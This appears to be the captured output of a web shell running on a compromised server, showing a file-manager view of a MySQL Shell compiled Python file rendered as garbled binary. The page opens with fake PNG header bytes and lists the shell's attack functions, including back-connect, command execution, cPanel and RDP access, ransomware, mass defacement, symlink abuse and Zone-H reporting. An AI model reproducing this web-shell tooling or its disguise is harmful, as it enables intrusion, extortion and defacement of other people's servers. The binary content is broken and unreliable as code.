\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /lib/mysqlsh/python-packages/mysqlsh/plugin_manager/__pycache__/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : //lib/mysqlsh/python-packages/mysqlsh/plugin_manager/__pycache__/general.cpython-38.pyc |
U
�C�e� � @ sz d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlm Z dZ
dZdd� Zdd� Z
d d
� Zddd
�Zdd� ZdS )� N��Pathz0.0.1�
c G s� dt jkrt jd }nHt�� }|s*td��t�� }|dkrPt j�|dddd�}nt j�|d�}zt|�j d d
� W n t
k
r� Y nX | D ]}t j�||�}q�|S )z�Returns the MySQL Shell's user directory
The directory will be created if it does not exist yet
Args:
*argv: The list of directories to be added to the path
Returns:
The plugin directory path as string
ZMYSQLSH_USER_CONFIG_HOMEzNo home directory setZWindowsZAppDataZRoamingZMySQL�mysqlshz.mysqlshT��parents)�os�environr �home� Exception�platform�system�path�join�mkdir�FileExistsError)�argvZ shell_dirZhome_dir�os_name�arg� r �B/usr/lib/mysqlsh/python-packages/mysqlsh/plugin_manager/general.py�get_shell_user_dir&